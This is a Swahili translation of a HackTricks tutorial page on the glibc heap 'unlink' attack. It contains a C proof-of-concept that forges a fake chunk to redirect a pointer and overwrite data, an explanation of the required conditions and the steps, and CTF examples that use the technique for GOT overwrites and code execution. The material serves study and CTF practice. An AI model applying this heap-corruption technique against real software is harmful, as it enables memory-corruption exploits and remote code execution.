10 KiB
Shambulio la Unlink
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa Msingi
Wakati shambulio hili lilipogunduliwa kwa kiasi kikubwa liliruhusu WWW (Andika Nini Wapi), hata hivyo, baadhi ya uchunguzi uliongezwa kufanya toleo jipya la shambulio kuwa la kuvutia zaidi na **ngumu zaidi na isiyofaa.
Mfano wa Kanuni:
Kanuni
```c #include #include #include #include// Altered from d778318b6a/assets/files/unlink_exploit.c
to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* Shambulizi halifanyi kazi ikiwa tcaches zinatumika (baada ya 2.26)
### Lengo
Shambulizi hili linaruhusu **kubadilisha kipanya cha kipande ili kielekee anwani 3 kabla yake**. Ikiwa eneo hili jipya (mazingira ya kipanya kilipokuwa) lina vitu vya kuvutia, kama alokesheni zingine zinazoweza kudhibitiwa / stack..., inawezekana kusoma/kuandika juu yao kusababisha madhara makubwa zaidi.
* Ikiwa kipanya hiki kilikuwa kwenye stack, kwa sababu sasa kinakuelekea anwani 3 kabla yake na mtumiaji anaweza kusoma na kukiweka, itawezekana kuvuja habari nyeti kutoka kwenye stack au hata kubadilisha anwani ya kurudi (labda) bila kugusa canary
* Katika mifano ya CTF, kipanya hiki kipo katika safu ya vipanya kwa vipande vingine, hivyo, kufanya ielekee anwani 3 kabla na kuweza kusoma na kuandika, inawezekana kufanya vipanya vingine viendeelekee anwani nyingine.
Kwa kuwa mtumiaji anaweza kusoma/kuandika pia alokesheni zingine, anaweza kuvuja habari au kuandika anwani mpya katika maeneo ya kiholela (kama kwenye GOT).
### Mahitaji
* Udhibiti fulani katika kumbukumbu (k.m. stack) ili kuunda vipande viwili vikitoa thamani kwa baadhi ya sifa.
* Kuvuja kwa stack ili kuweza kuweka vipanya vya kipande bandia.
### Shambulizi
* Kuna vipande viwili (kipande1 na kipande2)
* Mshambulizi anadhibiti maudhui ya kipande1 na vichwa vya kipande2.
* Katika kipande1 mshambulizi anaunda muundo wa kipande bandia:
* Ili kuzidi kinga anahakikisha kuwa uga wa `ukubwa` ni sahihi ili kuepuka kosa: `ukubwa ulioharibika dhidi ya ukubwa uliopita wakati wa kufanya kazi`
* na uga za `fd` na `bk` za kipande bandia zinaelekeza mahali ambapo kipanya1 kipanya kimehifadhiwa kwa kutumia offsets ya -3 na -2 mtawalia hivyo `kipande_bandia->fd->bk` na `kipande_bandia->bk->fd` zinaelekeza kwenye nafasi kwenye kumbukumbu (stack) ambapo anwani halisi ya kipande1 ilipo:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Vichwa vya kipande2 vinabadilishwa kuonyesha kuwa kipande kilichotangulia hakijatumika na ukubwa ni ukubwa wa kipande bandia kilichomo.
* Wakati kipande cha pili kinapofutwa basi kipande bandia hiki kinatenganishwa kufanyika:
* `kipande_bandia->fd->bk` = `kipande_bandia->bk`
* `kipande_bandia->bk->fd` = `kipande_bandia->fd`
* Awali ilifanywa kuwa `kipande_bandia->fd->bk` na `kipande_bandia->fd->bk` zinaelekeza mahali sawa (eneo kwenye stack ambapo `kipande1` kilihifadhiwa, hivyo ilikuwa orodha iliyofungamana sahihi). Kwa kuwa **zote zinaelekeza kwenye eneo sawa** ni ile ya mwisho (`kipande_bandia->bk->fd = kipande_bandia->fd`) itakayochukua **athari**.
* Hii ita**andika upya kipanya cha kipande1 kwenye stack kwenye anwani (au baits) zilizohifadhiwa anwani 3 kabla kwenye stack**.
* Hivyo, ikiwa mshambulizi angeweza kudhibiti maudhui ya kipande1 tena, ataweza **kuandika ndani ya stack** akiruhusu kwa uwezekano wa kuandika upya anwani ya kurudi akiruka canary na kubadilisha thamani na alama za alokesheni za mitambo. Hata kubadilisha tena anwani ya kipande1 iliyohifadhiwa kwenye stack kwenda eneo tofauti ambapo ikiwa mshambulizi angeweza kudhibiti tena maudhui ya kipande1 ataweza kuandika popote.
* Tafadhali elewa kuwa hili lilikuwa linawezekana kwa sababu **anwani zilikuwa zimehifadhiwa kwenye stack**. Hatari na uchimbaji inaweza kutegemea **anwani za kipande bandia zinahifadhiwa wapi**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Marejeo
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Ingawa itakuwa ajabu kupata shambulizi la unlink hata katika CTF hapa kuna baadhi ya maandishi ambapo shambulizi hili lilikuwa limeitwa:
* Mfano wa CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Katika mfano huu, badala ya stack kuna safu ya anwani za malloc'ed. Shambulizi la unlink linatekelezwa ili kuweza kuweka kipande hapa, hivyo kuweza kudhibiti alama za safu ya anwani za malloc'ed. Kisha, kuna utendaji mwingine unaoruhusu kubadilisha maudhui ya vipande katika anwani hizi, ambayo inaruhusu kuielekeza anwani kwenye GOT, kubadilisha anwani za kazi kupata vuvuzela na RCE.
* Mfano mwingine wa CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Kama ilivyokuwa katika mfano uliopita, kuna safu ya anwani za alokesheni. Inawezekana kutekeleza shambulizi la unlink ili kufanya anwani ya alokesheni ya kwanza ielekee machache kabla ya kuanza safu na kisha kuandika alokesheni hii kwenye nafasi mpya. Hivyo, inawezekana kuandika upya alama za alokesheni nyingine ili zielekee kwenye GOT ya atoi, kuchapisha kupata uvujaji wa libc, na kisha kuandika GOT ya atoi na anwani ya kifaa cha kipekee.
* Mfano wa CTF na kazi za malloc na free za desturi ambazo zinatumia kasoro inayofanana sana na shambulizi la unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Kuna kipeperushi kinachoruhusu kudhibiti FD na BK pointers za malloc ya desturi ambayo itakuwa huru (desturi). Zaidi ya hayo, alokesheni ina biti ya exec, hivyo inawezekana kuvuja anwani ya alokesheni na kuielekeza kazi kutoka kwenye GOT kwenye kipande cha alokesheni na shellcode kutekelezwa.
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>